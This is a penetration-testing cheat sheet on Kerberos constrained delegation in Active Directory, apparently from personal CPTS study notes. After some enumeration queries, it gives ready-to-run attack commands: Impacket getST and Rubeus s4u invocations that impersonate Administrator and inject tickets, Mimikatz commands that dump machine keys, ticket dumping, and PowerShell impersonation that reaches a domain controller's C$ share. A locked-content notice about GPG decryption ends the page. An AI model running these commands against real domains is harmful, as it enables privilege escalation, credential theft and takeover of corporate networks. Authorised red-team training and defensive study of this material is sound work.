// Internal · Active Directory

Kerberos Delegation - Constrained Delegation

Kerberos Delegation - Constrained Delegation

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft’s Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation

  • BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p

  • PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft

  • Native

    Get-DomainComputer -TrustedToAuth | select -exp dnshostname
    Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
  • bloodyAD:

    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto

Exploit the Constrained Delegation

  • Impacket

    getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
  • Rubeus: S4U2 attack (S4U2self + S4U2proxy)

    # with a password
    Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
    
    # with a NT hash
    Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
    Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
    dir \\dc.domain.com\c$
  • Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the “Administrator”

    # Dump ticket
    Rubeus.exe tgtdeleg /nowrap
    Rubeus.exe triage
    Rubeus.exe dump /luid:0x12d1f7
    
    # Create a ticket
    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
  • Rubeus : using aes256 keys

    # Get aes256 keys of the machine account
    privilege::debug
    token::elevate
    sekurlsa::ekeys
    
    # Create a ticket
    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt

Impersonate a domain user on a resource

Require:

  • SYSTEM level privileges on a machine configured with constrained delegation
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.